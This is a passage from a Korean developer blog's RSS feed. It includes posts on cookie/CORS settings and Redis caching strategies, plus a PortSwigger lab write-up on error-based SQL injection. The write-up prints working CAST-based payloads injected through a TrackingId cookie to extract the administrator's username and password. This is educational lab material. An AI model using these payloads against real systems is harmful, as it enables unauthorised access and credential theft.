&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버가 &amp;ldquo;이 응답은 특정 사람(도메인)만 읽을 수 있어!&amp;rdquo;라고 선언&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SameSite = 탐지견
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;ldquo;이 짐(쿠키)을 외국(다른 도메인)으로 가져가도 돼?&amp;rdquo;를 검사&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;다시 한번 강조하지만 설정들은 응답을 못 받게 만드는 것이지 절대 로직 수행 자체를 막지는 않습니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;따라서 서버에서는 추가적으로 인증, 인가, CSRF 토큰 검증 등의 보안 로직을 반드시 구현해야 합니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Development/개념 및 이론</category>
      <category>ACAO</category>
      <category>Cookie</category>
      <category>cors</category>
      <category>SameSite</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/290</guid>
      <comments>https://jangto.tistory.com/entry/%EC%9B%B9-%EB%B3%B4%EC%95%88%EC%9D%98-%EA%B8%B0%EC%B4%88-%EC%A0%95%EB%A6%AC-Cookie-SameSite-CORS-ACAO#entry290comment</comments>
      <pubDate>Mon, 23 Jun 2025 18:18:48 +0900</pubDate>
    </item>
    <item>
      <title>[A03:2021 - Injection] SQL Injection을 이용한 사용자 계정 정보 탈취 - Error Based SQL Injection</title>
      <link>https://jangto.tistory.com/entry/%EC%9B%B9-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8B%A4%EC%8A%B5-SQL-Injection%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%82%AC%EC%9A%A9%EC%9E%90-%EA%B3%84%EC%A0%95-%EC%A0%95%EB%B3%B4-%ED%83%88%EC%B7%A8-Error-Based-SQL-Injection</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Error-Based SQL Injection은 SQL 쿼리 실행 중 발생하는 오류 메시지를 기반으로 데이터베이스 구조 및 민감 정보를 탈취하는 공격 기법으로 사용자의 입력값을 검증 없이 쿼리에 포함시킬 경우 발생하는 보안 취약점으로 의도하지 않은 SQL 구문이 실행되어 민감 정보가 유출될 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;☑️ 사전 참고&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;SQL Injection에 대한 기본 개념과 다양한 유형이 궁금하다면 아래 글을 먼저 참고하세요.&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1750217728432&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[웹 취약점 실습] SQL Injection을 이용한 사용자 계정 정보 탈취 - Blind SQL Injection, General SQL Injection&quot; data-og-description=&quot;SQL Injection은 사용자의 입력값을 검증하지 않고 SQL 쿼리에 그대로 포함시켜 실행되는 보안 취약점으로 의도하지 않은 쿼리를 주입(Injection)하여 데이터를 탈취하거나 조작하는 공격입니다.최근&quot; data-og-host=&quot;jangto.tistory.com&quot; data-og-source-url=&quot;https://jangto.tistory.com/entry/%EC%9B%B9-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8B%A4%EC%8A%B5-%EB%82%9C%EC%9D%B4%EB%8F%84-%ED%95%98-SQL-Injection%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%82%AC%EC%9A%A9%EC%9E%90-%EA%B3%84%EC%A0%95-%EC%A0%95%EB%B3%B4-%ED%83%88%EC%B7%A8-Non-Oracle-%ED%99%98%EA%B2%BD&quot; data-og-url=&quot;https://jangto.tistory.com/entry/%EC%9B%B9-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8B%A4%EC%8A%B5-%EB%82%9C%EC%9D%B4%EB%8F%84-%ED%95%98-SQL-Injection%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%82%AC%EC%9A%A9%EC%9E%90-%EA%B3%84%EC%A0%95-%EC%A0%95%EB%B3%B4-%ED%83%88%EC%B7%A8-Non-Oracle-%ED%99%98%EA%B2%BD&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b7ONSP/hyZbsBLjwl/WlN4NLwkH1v8J0SUURGfwK/img.jpg?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/whFkp/hyY8LQlPe1/0SVHDzCeepFgVWgmG6k4ok/img.jpg?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512&quot;&gt;&lt;a href=&quot;https://jangto.tistory.com/entry/%EC%9B%B9-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8B%A4%EC%8A%B5-%EB%82%9C%EC%9D%B4%EB%8F%84-%ED%95%98-SQL-Injection%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%82%AC%EC%9A%A9%EC%9E%90-%EA%B3%84%EC%A0%95-%EC%A0%95%EB%B3%B4-%ED%83%88%EC%B7%A8-Non-Oracle-%ED%99%98%EA%B2%BD&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://jangto.tistory.com/entry/%EC%9B%B9-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8B%A4%EC%8A%B5-%EB%82%9C%EC%9D%B4%EB%8F%84-%ED%95%98-SQL-Injection%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%82%AC%EC%9A%A9%EC%9E%90-%EA%B3%84%EC%A0%95-%EC%A0%95%EB%B3%B4-%ED%83%88%EC%B7%A8-Non-Oracle-%ED%99%98%EA%B2%BD&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b7ONSP/hyZbsBLjwl/WlN4NLwkH1v8J0SUURGfwK/img.jpg?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512,https://scrap.kakaocdn.net/dn/whFkp/hyY8LQlPe1/0SVHDzCeepFgVWgmG6k4ok/img.jpg?width=512&amp;amp;height=512&amp;amp;face=0_0_512_512');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[웹 취약점 실습] SQL Injection을 이용한 사용자 계정 정보 탈취 - Blind SQL Injection, General SQL Injection&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;SQL Injection은 사용자의 입력값을 검증하지 않고 SQL 쿼리에 그대로 포함시켜 실행되는 보안 취약점으로 의도하지 않은 쿼리를 주입(Injection)하여 데이터를 탈취하거나 조작하는 공격입니다.최근&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;jangto.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;실습 개요&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;본 실습은&amp;nbsp;&lt;b&gt;PortSwigger&lt;/b&gt;에서 제공하는 SQL Injection 실습 문제를 바탕으로 진행되었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #5c5c5c; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;문제 : Lab:&amp;nbsp;Visible&amp;nbsp;error-based&amp;nbsp;SQL&amp;nbsp;injection&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;목표 : Cookie의 TrackingId 값을 조작하여 관리자 계정의 비밀번호 탈취 및 로그인&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;조건 : 계정 정보는 users 테이블에 존재하며 username, password 컬럼이 존재&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #5c5c5c; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;1 단계. Database 정보 확인&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이번 실습에서는 별다른 데이터베이스 정보가 제공되지 않습니다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;☑️ True/False 조건 주입 시도&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1750218175994&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cookieValue' and 1=1 -- (True)

cookieValue' and 1=2 -- (False)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;응답 변화가 없어 쿼리가 제대로 반영되지 않음을 확인하였습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;여전&lt;/b&gt;히 데이터베이스 종류 파악이 필요합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;☑️ 오류&amp;nbsp;메시지 유도&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1750223263620&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 기존 cookieValue를 제거한 후 ' 만 추가
'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;결과 메시지 :&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1750223292726&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Unterminated string literal started at position 36 in SQL SELECT * FROM tracking WHERE id = '''. Expected char&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해당 오류 메시지를 구글에 검색해본 결과 &lt;b&gt;PostgreSQL&lt;/b&gt; 데이터베이스 사용 중임을 파악하였습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #5c5c5c; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;2 단계. 취약점 확인 및 제한 사항 분석&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;☑️ CAST 함수 활용 시도&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;과거 실습 경험에 알게된 CAST() 함수를 사용하여 오류 기반 정보를 탈취하려 시도하였습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1750223449964&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;' AND 0=CAST((SELECT password FROM users WHERE username = 'administrator') AS int) --&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과 메시지 :&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1750223475372&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ERROR: syntax error at end of input Position: 97&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문법에 아무런 문제가 없지만 문법 오류가 발생하였습니다.&lt;/li&gt;
&lt;li&gt;다양한 시도 결과 길이 제한으로 인해 쿼리가 잘려서 나는 문제임을 확인하였습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #5c5c5c; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;3 단계.&lt;span&gt;&amp;nbsp;우회&amp;nbsp;전략 수립 및 정보 탈취&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 테스트를 통해 몇 글자까지 가능한지 테스트하여 최대 길이를 파악했습니다.&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;☑️&lt;span&gt; username 확인&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1750223725913&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;' AND 0=CAST((SELECT username FROM users LIMIT 1) AS int) --&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;첫 번째 username이 &lt;b&gt;administrator&lt;/b&gt;임을 확인하였습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;☑️&lt;span&gt;&lt;span&gt; password&lt;/span&gt;&amp;nbsp;탈취&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1750223788641&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;' AND 0=CAST((SELECT password FROM users LIMIT 1) AS int) --&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;관리자 계정의 비밀번호&lt;/b&gt;를 성공적으로 탈취하였습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #5c5c5c; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;실습 후기 및 포인트&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;데이터베이스 종류 확인&lt;/b&gt;은 SQLi 성공에 필수적이며 오류 메시지를 활용할 수 있습니다.&lt;/li&gt;
&lt;li&gt;실전에서는 &lt;b&gt;쿼리 길이 제한&lt;/b&gt; 등 환경 제약을 고려한 다양한 전략 수립이 중요합니다.&lt;/li&gt;
&lt;li&gt;CAST()를 통한 예외 유발 방식은 error-based SQLi에서 유용하게 사용됩니다.&lt;/li&gt;
&lt;li&gt;LIMIT, OFFSET 등 쿼리 제어 구문은 데이터 추출에 효과적이지만 길이 제한 시 주의가 필요합니다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <category>error based sql injection</category>
      <category>Security</category>
      <category>모의 해킹</category>
      <category>보안</category>
      <category>해킹</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/289</guid>
      <comments>https://jangto.tistory.com/entry/%EC%9B%B9-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8B%A4%EC%8A%B5-SQL-Injection%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%82%AC%EC%9A%A9%EC%9E%90-%EA%B3%84%EC%A0%95-%EC%A0%95%EB%B3%B4-%ED%83%88%EC%B7%A8-Error-Based-SQL-Injection#entry289comment</comments>
      <pubDate>Wed, 18 Jun 2025 14:20:54 +0900</pubDate>
    </item>
    <item>
      <title>[Redis] Caching 전략 및 가이드</title>
      <link>https://jangto.tistory.com/entry/Redis-Caching-%EC%A0%84%EB%9E%B5-%EB%B0%8F-%EA%B0%80%EC%9D%B4%EB%93%9C</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Database는 애플리케이션의 핵심이지만 잦은 데이터 조회는 성능 저하 &amp;amp; 부하를 일으킬 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Cache는 자주 사용하는 데이터를 메모리에 저장하여 Database 조회 비용과 응답 시간을 줄임으로써 위에 있는 문제를 해결하는데 중요한 역할을 합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;목적 : Cache는 Memory Access이고 Database는 I/O 작업이기 때문에 훨씬 빠르게 조회 가능 및 부하 감소&lt;/li&gt;
&lt;li&gt;한계 : Cache와 Database 간 불일치 가능성 존재&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Redis Caching 전략&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터를 어떻게 저장하고 Database와 어떻게 동기화할지에 따라 크게 3가지로 나눠질 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;✔️ Cache Aside (Lazy Loading)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 보편적으로 사용되고 구현하기 쉬운 전략 중 하나입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이름처럼 애플리케이션이 캐시를 &quot;옆에 두고&quot; 필요할 때만 사용하는 방식입니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;데이터를 요청하면 우선적으로 캐시에서 데이터를 조회합니다.&lt;/li&gt;
&lt;li&gt;Cache Miss 발생 시&amp;nbsp;데이터베이스에서 해당 데이터를 조회합니다.&lt;/li&gt;
&lt;li&gt;데이터베이스에서 가져온 데이터를 캐시에 저장한 후 반환&lt;/li&gt;
&lt;li&gt;동일한 데이터 요청이 들어오면 캐시에서 바로 데이터를 반환&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필요한 데이터만 캐시에 저장되므로 메모리 효율성이 좋지만 초기 Cache Miss 발생 시 Database에 부하가 집중될 수 있으며 서비스 초기나 신규 데이터 요청 시 자주 발생하게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 데이터 변경 시 무효화 로직이 필요하고 오래된 데이터의 경우 삭제하거나 갱신하여 데이터 불일치 문제를 어느 정도 해결해야 합니다.&lt;/p&gt;
&lt;figure id=&quot;og_1750181092647&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - dukbong/Cache-Aside-Pattern: Cache-Aside Pattern&quot; data-og-description=&quot;Cache-Aside Pattern. Contribute to dukbong/Cache-Aside-Pattern development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/dukbong/Cache-Aside-Pattern&quot; data-og-url=&quot;https://github.com/dukbong/Cache-Aside-Pattern&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://github.com/dukbong/Cache-Aside-Pattern&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/dukbong/Cache-Aside-Pattern&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - dukbong/Cache-Aside-Pattern: Cache-Aside Pattern&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Cache-Aside Pattern. Contribute to dukbong/Cache-Aside-Pattern development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;✔️&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Write Through&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;캐시와 데이터베이스 간의 일관성을 강력하게 유지하는 데 중점을 둔 전략입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 쓰기 작업 시 캐시와 데이터베이스에 동시에 반영합니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;데이터 쓰기 요청이 발생하면 Cache에 해당 내용을 갱신&lt;/li&gt;
&lt;li&gt;거의 동시에 Database에도 동일한 내용을 쓰기 작업을 수행&lt;/li&gt;
&lt;li&gt;캐시와 데이터베이스 모두에 쓰기 작업이 성공해야만 응답이 반환&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Cache와 Database 간 일관성을 유지하기 좋지만 구현이 복잡하고 쓰기 성능이 다른 전략들에 비해 느린 편에 속합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Cache와 Database 모두 작업을 해야 하기 때문입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;✔️&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;Write Back (Behind)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 빠른 쓰기 성능을 제공하지만 데이터 유실 및 일관성 문제에 대한 고려가 필요한 전략입니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;데이터 쓰기 요청이 발생하면 우선적으로 Cache에 내용을 갱신하고 즉시 응답을 반환&lt;/li&gt;
&lt;li&gt;비동기적(실제로는 kafka, rabbitmq 등 사용)으로 Database 쓰기 작업이 수행되며 일정 주기 또는 특정 조건이 만족될 때 Database에 Batch Update 하는 방식이 흔히 사용&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3가지 전략 중 가장 빠른 갱신 및 쓰기 작업이 가능하며 Database에 쓰기 부하를 줄일 수 있지만 Redis 장애 발생 시 Database에 저장되지 않은 데이터까지 영구적으로 손실될 수 있으며 비동기적으로 Database에 쓰기 작업을 하다 보니 데이터 일관성 문제가 발생할 수 있습니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt; &amp;nbsp;&lt;/b&gt;&lt;b&gt;전략 선택 방법&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 Redis Caching 전략들은 장단점이 확실하기 때문에 요구사항에 맞춰 선택해야 합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Cache Aside : 읽기 작업은 많이 중요하지만 일관성은 큰 상관이 없는 서비스&lt;/li&gt;
&lt;li&gt;Write Through : 쓰기 작업이 많이 발생하지 않으면서 일관성이&amp;nbsp; 많이 중요한 서비스&lt;/li&gt;
&lt;li&gt;Write Back : 초고속 쓰기 작업이 필수적이면서 데이터 유실에 대한 별도 메커니즘 있는 서비스&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/Redis</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/288</guid>
      <comments>https://jangto.tistory.com/entry/Redis-Caching-%EC%A0%84%EB%9E%B5-%EB%B0%8F-%EA%B0%80%EC%9D%B4%EB%93%9C#entry288comment</comments>
      <pubDate>Wed, 18 Jun 2025 02:27:08 +0900</pubDate>
    </item>
    <item>
      <title>[A03:2021 - Injection] SQL Injection을 이용한 사용자 계정 정보 탈취 - Blind SQL Injection, General SQL Injection</title>
      <link>https://jangto.tistory.com/entry/%EC%9B%B9-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%8B%A4%EC%8A%B5-%EB%82%9C%EC%9D%B4%EB%8F%84-%ED%95%98-SQL-Injection%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%82%AC%EC%9A%A9%EC%9E%90-%EA%B3%84%EC%A0%95-%EC%A0%95%EB%B3%B4-%ED%83%88%EC%B7%A8-Non-Oracle-%ED%99%98%EA%B2%BD</link>
      <description>&lt;p data-end=&quot;451&quot; data-start=&quot;328&quot; data-ke-size=&quot;size16&quot;&gt;SQL Injection은 사용자의 입력값을 검증하지 않고 SQL 쿼리에 그대로 포함시켜 실행되는 보안 취약점으로 의도하지 않은 쿼리를 주입(Injection)하여 데이터를 탈취하거나 조작하는 공격입니다.&lt;/p&gt;
&lt;blockquote data-end=&quot;630&quot; data-start=&quot;456&quot; data-ke-style=&quot;style2&quot;&gt;최근에는 다양한 방어 기법과 ORM 기술들이 적용되며 SQL Injection에 대한 대응이 개선되고 있지만 레거시 시스템에서는 여전히 이 취약점이 존재하는 경우가 많습니다.&lt;/blockquote&gt;
&lt;p data-end=&quot;630&quot; data-start=&quot;456&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;특히 오래된 프로젝트는 구조적으로 보안 업데이트가 어려운 경우가 많아 현실적인 보안 리스크로 여겨지고 있습니다.&lt;/p&gt;
&lt;p data-end=&quot;871&quot; data-start=&quot;635&quot; data-ke-size=&quot;size16&quot;&gt;이러한 이유로 OWASP Top 10에서도 Injection은 가장 심각하고 빈번하게 발생하는 보안 취약점 중 하나로 분류되어 3위(A03:2021)를 차지하고 있습니다.&lt;br /&gt;해당 항목에는 SQL Injection뿐 아니라 Cross-site Scripting(XSS) 등 다양한 삽입형 취약점들이 포함됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;A03:2021-Injection :&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;slides down to the third position. 94% of the applications were tested for some form of injection, and the 33 CWEs mapped into this category have the second most occurrences in applications. Cross-site Scripting is now part of this category in this edition.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure id=&quot;og_1750165937262&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;OWASP Top Ten | OWASP Foundation&quot; data-og-description=&quot;The OWASP Top 10 is the reference standard for the most critical web application security risks. Adopting the OWASP Top 10 is perhaps the most effective first step towards changing your software development culture focused on producing secure code.&quot; data-og-host=&quot;owasp.org&quot; data-og-source-url=&quot;https://owasp.org/www-project-top-ten/&quot; data-og-url=&quot;https://owasp.org/www-project-top-ten/&quot; 